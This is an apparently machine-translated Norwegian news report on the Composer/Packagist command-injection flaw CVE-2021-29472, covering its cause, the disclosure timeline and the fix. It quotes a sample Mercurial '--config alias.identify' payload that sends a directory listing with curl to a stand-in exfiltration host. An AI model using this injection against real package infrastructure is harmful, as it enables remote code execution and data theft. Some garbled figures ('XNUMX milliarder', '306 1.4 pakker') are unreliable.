Sårbarhet i Composer-pakkebehandlingen som gjør at Packagist PHP-depotet kan kompromitteres

En kritisk sårbarhet (CVE-2021-29472) er identifisert i Composer-avhengighetsbehandlingen som gjør at vilkårlige kommandoer kan utføres på systemet ved behandling av en pakke med en spesielt formatert URL-verdi som spesifiserer adressen for nedlasting av kildekoden. Problemet oppstår i GitDriver-, SvnDriver- og HgDriver-komponentene som brukes når du bruker Git, Subversion og Mercurial kildekontrollsystemer. Sårbarheten ble løst i Composer-utgivelsene 1.10.22 og 2.0.13.

Det er spesielt bemerket at problemet først og fremst påvirket Composers standardpakkelager, Packagist, som inneholder 306 1.4 pakker for PHP-utviklere og serverer mer enn XNUMX milliarder nedlastinger per måned. Eksperimentet viste at hvis det var kunnskap om problemet, kunne angripere få kontroll over Packagist-infrastrukturen og fange opp legitimasjonen til vedlikeholdere eller omdirigere pakkenedlastinger til en tredjepartsserver, og organisere leveringen av pakkevarianter med ondsinnede endringer for å erstatte en bakdør under installasjonsprosessen for avhengighet.

Faren for sluttbrukere er begrenset til det faktum at innholdet i composer.json vanligvis bestemmes av brukeren, og kildelenker overføres ved tilgang til tredjepartsrepositories, som vanligvis er pålitelige. Hovedstøtet falt på Packagist.org-depotet og Private Packagist-tjenesten, som kalte Composer med overføring av data mottatt fra brukere. Angripere kan kjøre koden sin på Packagist-servere ved å plassere en spesialdesignet pakke.

Packagist-teamet løste sikkerhetsproblemet innen 12 timer etter at sikkerhetsproblemet ble rapportert. Forskerne varslet Packagist-utviklerne privat 22. april, og problemet ble løst samme dag. En offentlig oppdatering til Composer som adresserer sårbarheten ble publisert 27. april, med detaljer avslørt 28. april. En revisjon av logger på Packagist-servere avdekket ingen mistenkelig aktivitet relatert til sårbarheten.

Problemet er forårsaket av en feil i URL-valideringskoden i root-filen composer.json og kildenedlastingskoblinger. Feilen har vært til stede i koden siden november 2011. Packagist bruker spesielle lag for å organisere kodeinnlasting uten å være knyttet til et spesifikt kildekontrollsystem, som utføres ved å kalle "fromShellCommandline" og sende kommandolinjeargumenter. For eksempel, for git, kalles kommandoen "git ls-remote -heads $URL", der URL-en behandles ved å bruke "ProcessExecutor::escape($url)"-metoden, og unnslipper potensielt farlige konstruksjoner som "$(. ..)" eller "` ...`".

Kjernen i problemet er at ProcessExecutor::escape-metoden ikke unnslapp "—"-sekvensen, noe som gjorde det mulig å spesifisere ytterligere kalleparametere i URL-en. Slik rømming manglet i GitDriver.php-, SvnDriver.php- og HgDriver.php-driverne. GitDriver.php-angrepet ble hemmet av det faktum at “git ls-remote”-kommandoen ikke støttet spesifisering av ytterligere argumenter etter banen. Et angrep på HgDriver.php var mulig ved å sende parameteren «--config» til «hq»-verktøyet, som lar deg organisere utførelsen av en kommando ved å manipulere «alias.identify»-innstillingen. For eksempel, for å laste ned og kjøre kode ved å kjøre curl-verktøyet, kan du spesifisere: —config=alias.identify=!curl http://exfiltration-host.tld —data “$(ls -alh)”

Ved å legge ut en testpakke med en lignende URL til Packagist, bekreftet forskerne at serveren deres etter posting mottok en HTTP-forespørsel fra en av Packagist-serverne i AWS som inneholder en liste over filer i gjeldende katalog.

Kilde: opennet.ru

Legg til en kommentar